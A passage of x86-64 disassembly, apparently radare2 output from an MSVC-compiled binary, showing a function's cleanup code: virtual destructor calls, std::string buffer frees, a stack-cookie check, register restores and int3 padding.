je 0x18009d0a9
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d0a9
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rcx, [rbp + 0x1e0]
call fcn.1800c0cb0
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x18009d0da
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d0da
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rbp - 0x60]
mov r12, qword [rbp - 0x58]
mov r13, qword [rbp - 0x50]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x18009d127
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d122
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d25d
call fcn.1800ce78c
movups xmm1, xmmword [rbp + 0x110]
mov qword [rbp + 0x110], rdi
movups xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
movups xmmword [r13], xmm0
movups xmmword [r13 + 0x10], xmm1
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009d194
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x18009d18f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009d1e1
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009d1dc
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009d227
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009d222
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r14 + 0x10], rdi
mov byte [r14], 0
mov rax, r13
mov qword [r14 + 0x18], 0xf
mov rcx, qword [rbp + 0x208]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x318
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088c70
int3
call fcn.180088c70
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3
call fcn.180088c70
int3
call fcn.1800dd818
int3